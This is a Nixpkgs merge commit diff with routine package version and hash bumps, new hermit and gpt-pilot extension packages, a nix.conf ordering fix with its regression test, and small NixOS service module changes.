Merge remote-tracking branch 'upstream/staging-next' into staging

2024-03-16 00:23:05 +00:00 · 2024-03-16 00:23:05 +00:00 · 7963fc94f0
parent 636ed70ab3 7006358e6a
commit 7963fc94f0
52 changed files with 1293 additions and 678 deletions
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@ -12705,6 +12705,12 @@
    githubId = 635591;
    name = "Shahar Dawn Or";
  };
+  mihaimaruseac = {
+    email = "mihaimaruseac@gmail.com";
+    github = "mihaimaruseac";
+    githubId = 323199;
+    name = "Mihai Maruseac";
+  };
  mihnea-s = {
    email = "mihn.stn@gmail.com";
    github = "mihnea-s";
--- a/nixos/modules/config/nix.nix
+++ b/nixos/modules/config/nix.nix
@ -14,8 +14,10 @@ let
    concatStringsSep
    boolToString
    escape
+    filterAttrs
    floatToString
    getVersion
+    hasPrefix
    isBool
    isDerivation
    isFloat
@ -95,14 +97,19 @@ let

      mkKeyValuePairs = attrs: concatStringsSep "\n" (mapAttrsToList mkKeyValue attrs);

+      isExtra = key: hasPrefix "extra-" key;
+
    in
    pkgs.writeTextFile {
      name = "nix.conf";
+      # workaround for https://github.com/NixOS/nix/issues/9487
+      # extra-* settings must come after their non-extra counterpart
      text = ''
        # WARNING: this file is generated from the nix.* options in
        # your NixOS configuration, typically
        # /etc/nixos/configuration.nix.  Do not edit it!
-        ${mkKeyValuePairs cfg.settings}
+        ${mkKeyValuePairs (filterAttrs (key: value: !(isExtra key)) cfg.settings)}
+        ${mkKeyValuePairs (filterAttrs (key: value: isExtra key) cfg.settings)}
        ${cfg.extraOptions}
      '';
      checkPhase = lib.optionalString cfg.checkConfig (
--- a/nixos/modules/config/resolvconf.nix
+++ b/nixos/modules/config/resolvconf.nix
@ -28,6 +28,8 @@ let
    '' + optionalString cfg.useLocalResolver ''
      # This hosts runs a full-blown DNS resolver.
      name_servers='127.0.0.1'
+    '' + optionalString (cfg.useLocalResolver && config.networking.enableIPv6) ''
+      name_servers='::1'
    '' + cfg.extraConfig;

 in
--- a/nixos/modules/services/matrix/synapse.nix
+++ b/nixos/modules/services/matrix/synapse.nix
@ -1232,7 +1232,8 @@ in {
            ProtectKernelTunables = true;
            ProtectProc = "invisible";
            ProtectSystem = "strict";
-            ReadWritePaths = [ cfg.dataDir cfg.settings.media_store_path ];
+            ReadWritePaths = [ cfg.dataDir cfg.settings.media_store_path ] ++
+              (map (listener: dirOf listener.path) (filter (listener: listener.path != null) cfg.settings.listeners));
            RemoveIPC = true;
            RestrictAddressFamilies = [ "AF_INET" "AF_INET6" "AF_UNIX" ];
            RestrictNamespaces = true;
--- a/nixos/modules/services/misc/etebase-server.nix
+++ b/nixos/modules/services/misc/etebase-server.nix
@ -177,6 +177,7 @@ in

    systemd.tmpfiles.rules = [
      "d '${cfg.dataDir}' - ${cfg.user} ${config.users.users.${cfg.user}.group} - -"
+      "d '${builtins.dirOf cfg.unixSocket}' - ${cfg.user} ${config.users.users.${cfg.user}.group} - -"
    ];

    systemd.services.etebase-server = {
--- a/nixos/tests/all-tests.nix
+++ b/nixos/tests/all-tests.nix
@ -613,6 +613,7 @@ in {
  nginx-variants = handleTest ./nginx-variants.nix {};
  nifi = handleTestOn ["x86_64-linux"] ./web-apps/nifi.nix {};
  nitter = handleTest ./nitter.nix {};
+  nix-config = handleTest ./nix-config.nix {};
  nix-ld = handleTest ./nix-ld.nix {};
  nix-serve = handleTest ./nix-serve.nix {};
  nix-serve-ssh = handleTest ./nix-serve-ssh.nix {};
--- a/nixos/tests/nix-config.nix
+++ b/nixos/tests/nix-config.nix
@ -0,0 +1,18 @@
+import ./make-test-python.nix ({ pkgs, ... }:
+{
+  name = "nix-config";
+  nodes.machine = { pkgs, ... }: {
+    nix.settings = {
+      nix-path = [ "nonextra=/etc/value.nix" ];
+      extra-nix-path = [ "extra=/etc/value.nix" ];
+    };
+    environment.etc."value.nix".text = "42";
+  };
+  testScript = ''
+    start_all()
+    machine.wait_for_unit("nix-daemon.socket")
+    # regression test for the workaround for https://github.com/NixOS/nix/issues/9487
+    print(machine.succeed("nix-instantiate --find-file extra"))
+    print(machine.succeed("nix-instantiate --find-file nonextra"))
+  '';
+})
--- a/pkgs/applications/editors/vscode/extensions/default.nix
+++ b/pkgs/applications/editors/vscode/extensions/default.nix
@ -409,8 +409,8 @@ let
        mktplcRef = {
          name = "vscode-neovim";
          publisher = "asvetliakov";
-          version = "1.5.0";
-          sha256 = "1glad9xmzq58jc7js8afjmqrxgd3rqm80fk528wv5kqcmn90bgk3";
+          version = "1.7.1";
+          sha256 = "0ib4sjk7r370ckvaqb4yzgy7csy8pli9z2jhibhhwwcq2748ah4q";
        };
        meta = {
          changelog = "https://marketplace.visualstudio.com/items/asvetliakov.vscode-neovim/changelog";
@ -3330,6 +3330,23 @@ let
        };
      };

+      pythagoratechnologies.gpt-pilot-vs-code = buildVscodeMarketplaceExtension {
+        mktplcRef = {
+          name = "gpt-pilot-vs-code";
+          publisher = "PythagoraTechnologies";
+          version = "0.1.7";
+          sha256 = "sha256-EUddanrB6h5cn3pK2JTkEPffVb06ZMI2qDPh0kFfJjA=";
+        };
+        meta = {
+          changelog = "https://marketplace.visualstudio.com/items/PythagoraTechnologies.gpt-pilot-vs-code/changelog";
+          description = "A VSCode extension for assisting the developer to code, debug, build applications using LLMs/AI";
+          downloadPage = "https://marketplace.visualstudio.com/items?itemName=PythagoraTechnologies.gpt-pilot-vs-code";
+          homepage = "https://github.com/Pythagora-io/gpt-pilot/";
+          license = lib.licenses.asl20;
+          maintainers = [ ];
+        };
+      };
+
      quicktype.quicktype = buildVscodeMarketplaceExtension {
        mktplcRef = {
          name = "quicktype";
--- a/pkgs/applications/misc/cotp/default.nix
+++ b/pkgs/applications/misc/cotp/default.nix
@ -8,16 +8,16 @@

 rustPlatform.buildRustPackage rec {
  pname = "cotp";
-  version = "1.4.5";
+  version = "1.5.0";

  src = fetchFromGitHub {
    owner = "replydev";
    repo = "cotp";
    rev = "v${version}";
-    hash = "sha256-q0SI/y4pSNoU+4aQzpkUNioqrxmLxiA2GD1pmyLUISw=";
+    hash = "sha256-Zs/RUpyu8GG4koprC+8aSzpPUSLc19p/XinY5fR5Z4A=";
  };

-  cargoHash = "sha256-pwhihmrFzb7y4ztXnzJVeMbo5VBoyjJTEDh5ogECLrA=";
+  cargoHash = "sha256-jYKu1sAzPUfv8gQj3V4zxarRj3XUhyD/5n1WqMuLF/g=";

  buildInputs = lib.optionals stdenv.isLinux [ libxcb ]
    ++ lib.optionals stdenv.isDarwin [ AppKit ];
--- a/pkgs/applications/misc/jetbrains-toolbox/default.nix
+++ b/pkgs/applications/misc/jetbrains-toolbox/default.nix
@ -9,11 +9,11 @@
 }:
 let
  pname = "jetbrains-toolbox";
-  version = "2.2.2.20062";
+  version = "2.2.3.20090";

  src = fetchzip {
    url = "https://download.jetbrains.com/toolbox/jetbrains-toolbox-${version}.tar.gz";
-    sha256 = "sha256-wIO9QQa+YfNNqO5HlijVxBDOgVSsJhtGmfChKA8QpPo=";
+    sha256 = "sha256-SqxQF5pG61CySsDzdZ1P2C9cCe/B145D0S+T4NByif8=";
    stripRoot = false;
  };

--- a/pkgs/applications/networking/cluster/argocd/default.nix
+++ b/pkgs/applications/networking/cluster/argocd/default.nix
@ -2,13 +2,13 @@

 buildGoModule rec {
  pname = "argocd";
-  version = "2.10.2";
+  version = "2.10.3";

  src = fetchFromGitHub {
    owner = "argoproj";
    repo = "argo-cd";
    rev = "v${version}";
-    hash = "sha256-eFa2AXFVymi7et+fHTLgdiBUq6D8zK5DRg9Dqhxe4TE=";
+    hash = "sha256-DaM3vNmZTz4zJTsmtgWwKPhHeUdqe2ZdlXYTppdhiJs=";
  };

  proxyVendor = true; # darwin/linux hash mismatch
--- a/pkgs/applications/networking/cluster/clusterctl/default.nix
+++ b/pkgs/applications/networking/cluster/clusterctl/default.nix
@ -2,16 +2,16 @@

 buildGoModule rec {
  pname = "clusterctl";
-  version = "1.6.2";
+  version = "1.6.3";

  src = fetchFromGitHub {
    owner = "kubernetes-sigs";
    repo = "cluster-api";
    rev = "v${version}";
-    hash = "sha256-OTOM83dsf6Fk+CYkACQOmguDTYfZvN9qes3S/cFEq/8=";
+    hash = "sha256-gyZxEzktbYtQSm1gm4wWJriMo/MjDdgaAxjA7J3jeQ0=";
  };

-  vendorHash = "sha256-SwJx3KPdOugDYLLymPyrPam0uMyRWIDpQn79Sd9fhJ4=";
+  vendorHash = "sha256-bMM4d1ji03bICsd6uBqu+0n4rB/SiKjtevQzV0DYHiE=";

  subPackages = [ "cmd/clusterctl" ];

--- a/pkgs/applications/networking/instant-messengers/mattermost-desktop/default.nix
+++ b/pkgs/applications/networking/instant-messengers/mattermost-desktop/default.nix
@ -1,24 +1,24 @@
 { lib
 , stdenv
 , fetchurl
-, electron_27
+, electron_28
 , makeWrapper
 }:

 let

  pname = "mattermost-desktop";
-  version = "5.6.0";
+  version = "5.7.0";

  srcs = {
    "x86_64-linux" = {
      url = "https://releases.mattermost.com/desktop/${version}/${pname}-${version}-linux-x64.tar.gz";
-      hash = "sha256-KUF/zH18X+RS8AICBv53JTBpcaokzo92psyoQNmLF/Q=";
+      hash = "sha256-1xfU9+VzjhSVWsP1AYizphhQ2010GbQBgQ4dxvY3TBU=";
    };

    "aarch64-linux" = {
      url = "https://releases.mattermost.com/desktop/${version}/${pname}-${version}-linux-arm64.tar.gz";
-      hash = "sha256-Zl5PalAles39qSMtt1cytfu4Mheud4+8TTkt7Ohdf/o=";
+      hash = "sha256-RrH+R9IuokKK+zfmCmOt38hD1HvWJbKqmxTFhQ3RcqQ=";
    };
  };

@ -52,7 +52,7 @@ stdenv.mkDerivation {
    substituteInPlace $out/share/applications/Mattermost.desktop \
      --replace /share/mattermost-desktop/mattermost-desktop /bin/mattermost-desktop

-    makeWrapper '${lib.getExe electron_27}' $out/bin/${pname} \
+    makeWrapper '${lib.getExe electron_28}' $out/bin/${pname} \
      --add-flags $out/share/${pname}/app.asar

    runHook postInstall
--- a/pkgs/applications/networking/instant-messengers/webcord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/webcord/default.nix
@ -7,23 +7,23 @@
 , libpulseaudio
 , libnotify
 , xdg-utils
-, electron_28
+, electron_29
 , makeDesktopItem
 , nix-update-script
 }:

 buildNpmPackage rec {
  pname = "webcord";
-  version = "4.7.1";
+  version = "4.8.0";

  src = fetchFromGitHub {
    owner = "SpacingBat3";
    repo = "WebCord";
    rev = "v${version}";
-    hash = "sha256-JzKXIdXR/C3HRbpmSUq3qXYpLnVQjIY/uO+wbt1k2jI=";
+    hash = "sha256-x9Ejb8yxgQhlEfUUfoqbgSffNNtOoFeAyb3OISR+Jz4=";
  };

-  npmDepsHash = "sha256-KbMoM1zYOjX2Dwu6DJZLyezRx78AC9piPw3xsX3Kb3I=";
+  npmDepsHash = "sha256-7H4I4vKygMgsPh+OvZZGhpkoQQu1a51yUTwEPJSBM18=";

  nativeBuildInputs = [
    copyDesktopItems
@ -61,7 +61,7 @@ buildNpmPackage rec {
    install -Dm644 sources/assets/icons/app.png $out/share/icons/hicolor/256x256/apps/webcord.png

    # Add xdg-utils to path via suffix, per PR #181171
-    makeWrapper '${lib.getExe electron_28}' $out/bin/webcord \
+    makeWrapper '${lib.getExe electron_29}' $out/bin/webcord \
      --prefix LD_LIBRARY_PATH : ${libPath}:$out/opt/webcord \
      --suffix PATH : "${binPath}" \
      --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations}}" \
--- a/pkgs/applications/science/biology/minimap2/default.nix
+++ b/pkgs/applications/science/biology/minimap2/default.nix
@ -2,13 +2,13 @@

 stdenv.mkDerivation rec {
  pname = "minimap2";
-  version = "2.26";
+  version = "2.27";

  src = fetchFromGitHub {
    repo = pname;
    owner = "lh3";
    rev = "v${version}";
-    sha256 = "sha256-vK8Z/j6Ndu1vMFYPPzViP4evtIhyVVFwsfTqNCYnXpQ=";
+    sha256 = "sha256-F6IJrYD2dk+5bKKVIahLiNnD/Hd/CjNQQd9zz0Gkans=";
  };

  buildInputs = [ zlib ];
--- a/pkgs/by-name/at/atuin/package.nix
+++ b/pkgs/by-name/at/atuin/package.nix
@ -36,9 +36,9 @@ rustPlatform.buildRustPackage rec {

  buildInputs = lib.optionals stdenv.isDarwin [
    libiconv
-    darwin.apple_sdk.frameworks.AppKit
-    darwin.apple_sdk.frameworks.Security
-    darwin.apple_sdk.frameworks.SystemConfiguration
+    darwin.apple_sdk_11_0.frameworks.AppKit
+    darwin.apple_sdk_11_0.frameworks.Security
+    darwin.apple_sdk_11_0.frameworks.SystemConfiguration
  ];

  postInstall = ''
--- a/pkgs/by-name/ez/eza/package.nix
+++ b/pkgs/by-name/ez/eza/package.nix
@ -17,16 +17,16 @@

 rustPlatform.buildRustPackage rec {
  pname = "eza";
-  version = "0.18.6";
+  version = "0.18.7";

  src = fetchFromGitHub {
    owner = "eza-community";
    repo = "eza";
    rev = "v${version}";
-    hash = "sha256-xdMoOGOHbGNRouVbJewQ1bWJbd7nusq3H7mXDC4AIXU=";
+    hash = "sha256-f9EvVWu+WlBm9Q+OzzMoXOGGLJp5DKdC13tPk4JStf4=";
  };

-  cargoHash = "sha256-IM1dxTaFa5kq94pn6QQrUGg6fZWhBZsf4ZND42BPVag=";
+  cargoHash = "sha256-ItML58+OMyt6qmxK1w0Tb4sqwXxIhXLih1NThRXdbi4=";

  nativeBuildInputs = [ cmake pkg-config installShellFiles pandoc ];
  buildInputs = [ zlib ]
--- a/pkgs/by-name/he/hermitcli/package.nix
+++ b/pkgs/by-name/he/hermitcli/package.nix
@ -0,0 +1,34 @@
+{ buildGoModule
+, fetchFromGitHub
+, lib
+}:
+
+buildGoModule rec {
+  pname = "hermit";
+  version = "0.38.2";
+
+  src = fetchFromGitHub {
+    rev = "v${version}";
+    owner = "cashapp";
+    repo = "hermit";
+    hash = "sha256-cBVTIpY85lrKJ1bX1mIlUW1oWEHgg8wjdUh+0FHUp80=";
+  };
+
+  vendorHash = "sha256-W8n7WA1gHx73jHF69apoKnDCIKlbWkj5f1wVITt7F+M=";
+
+  subPackages = [ "cmd/hermit" ];
+
+  ldflags = [
+    "-X main.version=${version}"
+    "-X main.channel=stable"
+  ];
+
+  meta = with lib; {
+    homepage = "https://cashapp.github.io/hermit";
+    description = "Manages isolated, self-bootstrapping sets of tools in software projects.";
+    license = licenses.asl20;
+    maintainers = with maintainers; [ cbrewster ];
+    platforms = platforms.unix;
+    mainProgram = "hermit";
+  };
+}
--- a/pkgs/by-name/im/impression/package.nix
+++ b/pkgs/by-name/im/impression/package.nix
@ -20,21 +20,21 @@
 , pango
 }:

-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
  pname = "impression";
-  version = "3.0.1";
+  version = "3.1.0";

  src = fetchFromGitLab {
    owner = "adhami3310";
    repo = "Impression";
-    rev = "v${version}";
-    hash = "sha256-xxPclDjHdXWo43cwvSuF9MpNlMTJANNXScLY1mkQTqY=";
+    rev = "v${finalAttrs.version}";
+    hash = "sha256-5hBpe8D3DVXP6Hq5L4OUL9rCml0MoLdK7uZzbIIkNh0=";
  };

  cargoDeps = rustPlatform.fetchCargoTarball {
-    inherit src;
-    name = "${pname}-${version}";
-    hash = "sha256-LDYckpKwNvkIdpPijTRIZPNfb4d9MZzxVFdSXarhFl0=";
+    inherit (finalAttrs) src;
+    name = "${finalAttrs.pname}-${finalAttrs.version}";
+    hash = "sha256-lbpbggf4DEjpXJ52aM7qNd01XCEY3xj8dKGMfCZ9i3A=";
  };

  nativeBuildInputs = [
@ -68,4 +68,4 @@ stdenv.mkDerivation rec {
    maintainers = with lib.maintainers; [ dotlambda ];
    platforms = lib.platforms.linux;
  };
-}
+})
--- a/pkgs/by-name/ll/llama-cpp/package.nix
+++ b/pkgs/by-name/ll/llama-cpp/package.nix
@ -69,13 +69,13 @@ let
 in
 effectiveStdenv.mkDerivation (finalAttrs: {
  pname = "llama-cpp";
-  version = "2382";
+  version = "2424";

  src = fetchFromGitHub {
    owner = "ggerganov";
    repo = "llama.cpp";
    rev = "refs/tags/b${finalAttrs.version}";
-    hash = "sha256-VIh9StxfZrweOh6IU2MDJRFVu7TelngHGw7enSx5tL4=";
+    hash = "sha256-nzO6qL7X8PwGgy3fZAwQHoPBWLXorWf9kBeEWZCm1ZM=";
  };

  postPatch = ''
--- a/pkgs/by-name/pe/pest/composer.lock
+++ b/pkgs/by-name/pe/pest/composer.lock
@ -4,7 +4,7 @@
        "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
        "This file is @generated automatically"
    ],
-    "content-hash": "886ef4e19557e54720685cf5af4bfcba",
+    "content-hash": "3334c385a76e74a9e5a3cc6af8daed8e",
    "packages": [
        {
            "name": "brianium/paratest",
@ -1437,16 +1437,16 @@
        },
        {
            "name": "phpunit/phpunit",
-            "version": "10.5.12",
+            "version": "10.5.13",
            "source": {
                "type": "git",
                "url": "https://github.com/sebastianbergmann/phpunit.git",
-                "reference": "41a9886b85ac7bf3929853baf96b95361cd69d2b"
+                "reference": "20a63fc1c6db29b15da3bd02d4b6cf59900088a7"
            },
            "dist": {
                "type": "zip",
-                "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/41a9886b85ac7bf3929853baf96b95361cd69d2b",
-                "reference": "41a9886b85ac7bf3929853baf96b95361cd69d2b",
+                "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/20a63fc1c6db29b15da3bd02d4b6cf59900088a7",
+                "reference": "20a63fc1c6db29b15da3bd02d4b6cf59900088a7",
                "shasum": ""
            },
            "require": {
@ -1518,7 +1518,7 @@
            "support": {
                "issues": "https://github.com/sebastianbergmann/phpunit/issues",
                "security": "https://github.com/sebastianbergmann/phpunit/security/policy",
-                "source": "https://github.com/sebastianbergmann/phpunit/tree/10.5.12"
+                "source": "https://github.com/sebastianbergmann/phpunit/tree/10.5.13"
            },
            "funding": [
                {
@ -1534,7 +1534,7 @@
                    "type": "tidelift"
                }
            ],
-            "time": "2024-03-09T12:04:07+00:00"
+            "time": "2024-03-12T15:37:41+00:00"
        },
        {
            "name": "psr/container",
@ -3787,16 +3787,16 @@
        },
        {
            "name": "phpstan/phpstan",
-            "version": "1.10.60",
+            "version": "1.10.62",
            "source": {
                "type": "git",
                "url": "https://github.com/phpstan/phpstan.git",
-                "reference": "95dcea7d6c628a3f2f56d091d8a0219485a86bbe"
+                "reference": "cd5c8a1660ed3540b211407c77abf4af193a6af9"
            },
            "dist": {
                "type": "zip",
-                "url": "https://api.github.com/repos/phpstan/phpstan/zipball/95dcea7d6c628a3f2f56d091d8a0219485a86bbe",
-                "reference": "95dcea7d6c628a3f2f56d091d8a0219485a86bbe",
+                "url": "https://api.github.com/repos/phpstan/phpstan/zipball/cd5c8a1660ed3540b211407c77abf4af193a6af9",
+                "reference": "cd5c8a1660ed3540b211407c77abf4af193a6af9",
                "shasum": ""
            },
            "require": {
@ -3845,7 +3845,7 @@
                    "type": "tidelift"
                }
            ],
-            "time": "2024-03-07T13:30:19+00:00"
+            "time": "2024-03-13T12:27:20+00:00"
        },
        {
            "name": "phpstan/phpstan-strict-rules",
@ -4220,29 +4220,22 @@
        },
        {
            "name": "tomasvotruba/type-coverage",
-            "version": "0.2.3",
+            "version": "0.2.4",
            "source": {
                "type": "git",
                "url": "https://github.com/TomasVotruba/type-coverage.git",
-                "reference": "213ef9cfcdcb1472c5e1a1d7c3c99d39347433f7"
+                "reference": "47f75151c3b3c4e040e0c68d9bba47597bf5ad6f"
            },
            "dist": {
                "type": "zip",
-                "url": "https://api.github.com/repos/TomasVotruba/type-coverage/zipball/213ef9cfcdcb1472c5e1a1d7c3c99d39347433f7",
-                "reference": "213ef9cfcdcb1472c5e1a1d7c3c99d39347433f7",
+                "url": "https://api.github.com/repos/TomasVotruba/type-coverage/zipball/47f75151c3b3c4e040e0c68d9bba47597bf5ad6f",
+                "reference": "47f75151c3b3c4e040e0c68d9bba47597bf5ad6f",
                "shasum": ""
            },
            "require": {
-                "php": "^8.2",
-                "phpstan/phpstan": "^1.10.60"
-            },
-            "require-dev": {
-                "phpstan/extension-installer": "^1.3",
-                "phpunit/phpunit": "^10.5",
-                "rector/rector": "^1.0.2",
-                "symplify/easy-coding-standard": "^12.1",
-                "tomasvotruba/unused-public": "^0.2",
-                "tracy/tracy": "^2.10"
+                "nette/utils": "^3.2 || ^4.0",
+                "php": "^7.2 || ^8.0",
+                "phpstan/phpstan": "^1.9.3"
            },
            "type": "phpstan-extension",
            "extra": {
@ -4268,7 +4261,7 @@
            ],
            "support": {
                "issues": "https://github.com/TomasVotruba/type-coverage/issues",
-                "source": "https://github.com/TomasVotruba/type-coverage/tree/0.2.3"
+                "source": "https://github.com/TomasVotruba/type-coverage/tree/0.2.4"
            },
            "funding": [
                {
@ -4280,7 +4273,7 @@
                    "type": "github"
                }
            ],
-            "time": "2024-03-08T18:25:10+00:00"
+            "time": "2024-03-15T11:34:50+00:00"
        }
    ],
    "aliases": [],
--- a/pkgs/by-name/pe/pest/package.nix
+++ b/pkgs/by-name/pe/pest/package.nix
@ -2,17 +2,18 @@

 php.buildComposerProject (finalAttrs: {
  pname = "pest";
-  version = "2.34.2";
+  version = "2.34.4";

  src = fetchFromGitHub {
    owner = "pestphp";
    repo = "pest";
    rev = "v${finalAttrs.version}";
-    hash = "sha256-tVNF2oC/fLnX10ER9qmWJxMQ/RU9UUQtEi7b1xe094o=";
+    hash = "sha256-/Ygm/jb08t+0EG4KHM2utAavka28VzmjVU/uXODMFvI=";
  };

  composerLock = ./composer.lock;
-  vendorHash = "sha256-bFwIRcCqeWcsFsD6wFD+XNe3IMGE3hMg7AU7XaqwtT4=";
+
+  vendorHash = "sha256-RDTmNfXD8Lk50i7dY09JNUgg8hcEM0dtwJnh8UpHgQ4=";

  meta = {
    changelog = "https://github.com/pestphp/pest/releases/tag/v${finalAttrs.version}";
--- a/pkgs/by-name/ry/ryujinx/deps.nix
+++ b/pkgs/by-name/ry/ryujinx/deps.nix
@ -2,28 +2,28 @@
 # Please dont edit it manually, your changes might get overwritten!

 { fetchNuGet }: [
-  (fetchNuGet { pname = "Avalonia"; version = "11.0.7"; sha256 = "1rh7c4ia0n7v8kd5kspj15sh49hc5gy3fcnm7nb2xsarv9gvmwcg"; })
+  (fetchNuGet { pname = "Avalonia"; version = "11.0.10"; sha256 = "0mvsc6fg8qbvdqkdkia61jkprb3yhvvgvq6s8hgd09v6lzjsbq8n"; })
  (fetchNuGet { pname = "Avalonia.Angle.Windows.Natives"; version = "2.1.0.2023020321"; sha256 = "1az4s1g22ipak9a3xfh55z2h3rm6lpqh7svbpw6ag4ysrgsjjsjd"; })
  (fetchNuGet { pname = "Avalonia.BuildServices"; version = "0.0.29"; sha256 = "05mm7f0jssih3gbzqfgjnfq5cnqa85ihsg0z1897ciihv8qd3waq"; })
+  (fetchNuGet { pname = "Avalonia.Controls.ColorPicker"; version = "11.0.10"; sha256 = "0s2wn7sf0dsa861gh6ghfgf881p6bvyahfpl583rcnsi6ci2hjhv"; })
  (fetchNuGet { pname = "Avalonia.Controls.ColorPicker"; version = "11.0.4"; sha256 = "1sqdcaknqazq4mw2x1jb6pfmfnyhpkd4xh6fl4ld85qikzzj7796"; })
-  (fetchNuGet { pname = "Avalonia.Controls.ColorPicker"; version = "11.0.7"; sha256 = "1386lhzkc5mal70imw3vxfkbz7z94njylg662ymr2m3hhwz34w3l"; })
-  (fetchNuGet { pname = "Avalonia.Controls.DataGrid"; version = "11.0.7"; sha256 = "080w1k4mia6kkl9lw5hl03n75xrkd2rlh5901jrpk11jyy36w00s"; })
+  (fetchNuGet { pname = "Avalonia.Controls.DataGrid"; version = "11.0.10"; sha256 = "13g5sac0ba8dy1pn21j2g4fin57x1vs1pl07gzgv53bl8nz1xznj"; })
  (fetchNuGet { pname = "Avalonia.Controls.ItemsRepeater"; version = "11.0.4"; sha256 = "1p7mz33a6dn6ghvwajxdghq15mn5f6isvvqzxcjbnhh3m5c1zhrz"; })
-  (fetchNuGet { pname = "Avalonia.Desktop"; version = "11.0.7"; sha256 = "0z5jypzqxh83r1pzvl1k7x1wxhnr3f0knp4wr0fkcgj97k2bnjy1"; })
-  (fetchNuGet { pname = "Avalonia.Diagnostics"; version = "11.0.7"; sha256 = "1n9bdmbc9m0r7x7iqkin4b8c6pdf19lbsvl258ncymhln6j8y0xw"; })
-  (fetchNuGet { pname = "Avalonia.FreeDesktop"; version = "11.0.7"; sha256 = "0xd3gmgh2rd1krd1q7yh3vrqggxap23fgfph2vfkfg3cxgyyfcml"; })
-  (fetchNuGet { pname = "Avalonia.Markup.Xaml.Loader"; version = "11.0.7"; sha256 = "1k5zfwhjkqbk2jb2h5gbvf85q3shz411hgf5xa80yi5wxw1d2nr6"; })
-  (fetchNuGet { pname = "Avalonia.Native"; version = "11.0.7"; sha256 = "164zyd1aaa42xryci82km2fznzmjag9s1f3i8yjyg2ip5agkh289"; })
+  (fetchNuGet { pname = "Avalonia.Desktop"; version = "11.0.10"; sha256 = "0s27ajknbrymnchv66rybrs3snzh825iy0nqby72yk726znp52vw"; })
+  (fetchNuGet { pname = "Avalonia.Diagnostics"; version = "11.0.10"; sha256 = "1c7hv9ypvn1ncg6cmzn2cs0nkax0y0pnbx1h1asjzn8rnbwcvnca"; })
+  (fetchNuGet { pname = "Avalonia.FreeDesktop"; version = "11.0.10"; sha256 = "18f9vpsxfaak4qpqvcz9rdygx3k8dhzb64iqlhva88nhahwlwlxr"; })
+  (fetchNuGet { pname = "Avalonia.Markup.Xaml.Loader"; version = "11.0.10"; sha256 = "0vlvysxi2qdg3na604jivzs68ldry1i43lmxxa3lhh7q9pqqpzjy"; })
+  (fetchNuGet { pname = "Avalonia.Native"; version = "11.0.10"; sha256 = "06pihfddbvdw1s3rs6v183ljch1bsxym80fclfqrh3npa3ag9n1z"; })
+  (fetchNuGet { pname = "Avalonia.Remote.Protocol"; version = "11.0.10"; sha256 = "0p75z6k4ivzhdn9y9gwqsqmja7x03d4mxaicbccjbnz06irybnxa"; })
  (fetchNuGet { pname = "Avalonia.Remote.Protocol"; version = "11.0.4"; sha256 = "096436hhg45v02pp4f43mf00xn6blx7x66sb8fq5j4jn7479fynp"; })
-  (fetchNuGet { pname = "Avalonia.Remote.Protocol"; version = "11.0.7"; sha256 = "0a5a1wz9ka1r7ch0c2b5nvnsgm49kdhlj16rvrvhdz30qf9m671n"; })
  (fetchNuGet { pname = "Avalonia.Skia"; version = "11.0.0"; sha256 = "1ra1kd0kkblppr5zy7rzdbwllggrzvp9lkxblf9mg3y8rnp6fk83"; })
+  (fetchNuGet { pname = "Avalonia.Skia"; version = "11.0.10"; sha256 = "0w45j4ypqnwmsh3byzaghn43ycfkfnn8415i5lw2q5ip7vp3a9fm"; })
  (fetchNuGet { pname = "Avalonia.Skia"; version = "11.0.4"; sha256 = "1ysmq4f8bxabpq3nhcrrvgwvxb9z7gx9565bvdyksdhsq16wyxym"; })
-  (fetchNuGet { pname = "Avalonia.Skia"; version = "11.0.7"; sha256 = "1v3g13a447k5dmd0n26aibjwxawx3vqn8g2jmwpw533rx1f509h5"; })
-  (fetchNuGet { pname = "Avalonia.Svg"; version = "11.0.0.13"; sha256 = "1cf2y8bhb5xcpkrzbkfw1lr8iwz99p0lv34sh51xd9inx0rnvm4g"; })
-  (fetchNuGet { pname = "Avalonia.Svg.Skia"; version = "11.0.0.13"; sha256 = "0hbc1m5lv8l9fflz8z46f9pwrrd4hisn8qp38944388r9ay0v4ip"; })
-  (fetchNuGet { pname = "Avalonia.Themes.Simple"; version = "11.0.7"; sha256 = "0ggrsir3zskg22as65f3i93f4dmhqm5lqq0irb1rqi8dfficsmzx"; })
-  (fetchNuGet { pname = "Avalonia.Win32"; version = "11.0.7"; sha256 = "0zbh1cd8zykc5rrannz6i9pyiiygm041db3nrpzyi43xsknnhl7r"; })
-  (fetchNuGet { pname = "Avalonia.X11"; version = "11.0.7"; sha256 = "03skfjxw2xpynl8j2gjpb4v1v642qw1qnx9lcq9whgmlj03yz9nc"; })
+  (fetchNuGet { pname = "Avalonia.Svg"; version = "11.0.0.14"; sha256 = "0111svcswbw97k3igqi45dzz08f6vi20zr5gp23p8qmisk2bazqj"; })
+  (fetchNuGet { pname = "Avalonia.Svg.Skia"; version = "11.0.0.14"; sha256 = "0b95h42kflbjlfw0ky58cxd0745wf7ad9phfgdyn3w7x3bjfn0x3"; })
+  (fetchNuGet { pname = "Avalonia.Themes.Simple"; version = "11.0.10"; sha256 = "0vssdz6rng0k85qsv2xn6x0dldaalnnx718n7plwxg3j1pddr1z7"; })
+  (fetchNuGet { pname = "Avalonia.Win32"; version = "11.0.10"; sha256 = "1gh3fad9ya56qwzhk7590bdzkky76yx1jjj60rqr013b97qbd3gs"; })
+  (fetchNuGet { pname = "Avalonia.X11"; version = "11.0.10"; sha256 = "1x09mp8q3mrj5fijqk7qp5qivrysqnbc2bkj2ssvawb9rjy6497w"; })
  (fetchNuGet { pname = "CommandLineParser"; version = "2.9.1"; sha256 = "1sldkj8lakggn4hnyabjj1fppqh50fkdrr1k99d4gswpbk5kv582"; })
  (fetchNuGet { pname = "Concentus"; version = "1.1.7"; sha256 = "0y5z444wrbhlmsqpy2sxmajl1fbf74843lvgj3y6vz260dn2q0l0"; })
  (fetchNuGet { pname = "DiscordRichPresence"; version = "1.2.1.24"; sha256 = "0maw0yd6xgwy0cgk593z3zva0r5j267zpdmmpq8avj3zbna6n4x1"; })
@ -75,7 +75,6 @@
